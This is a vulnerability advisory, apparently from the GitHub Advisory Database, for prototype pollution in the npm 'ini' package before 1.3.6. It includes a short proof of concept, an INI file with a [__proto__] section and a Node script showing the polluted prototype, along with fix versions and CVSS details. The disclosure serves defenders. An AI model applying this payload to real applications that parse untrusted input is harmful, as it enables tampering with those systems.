ini before 1.3.6 vulnerable to Prototype Pollution via ini.parse
Overview
The ini npm package before version 1.3.6 has a Prototype Pollution vulnerability.
If an attacker submits a malicious INI file to an application that parses it with ini.parse, they will pollute the prototype on the application. This can be exploited further depending on the context.
Patches
This has been patched in 1.3.6.
Steps to reproduce
payload.ini
[__proto__]
polluted = "polluted"poc.js:
var fs = require('fs')
var ini = require('ini')
var parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8'))
console.log(parsed)
console.log(parsed.__proto__)
console.log(polluted)> node poc.js
{}
{ polluted: 'polluted' }
{ polluted: 'polluted' }
pollutedAffected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | ini | < 1.3.6 | 1.3.6 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L- Weakness (CWE)
CWE-1321- Platform
- npm
- Package
ini- Disclosed
- 10.12.2020
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-qqgx-2p2h-9c37 - CC BY 4.0
Vulnerability history: ini
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
This is the only known vulnerability of this package.
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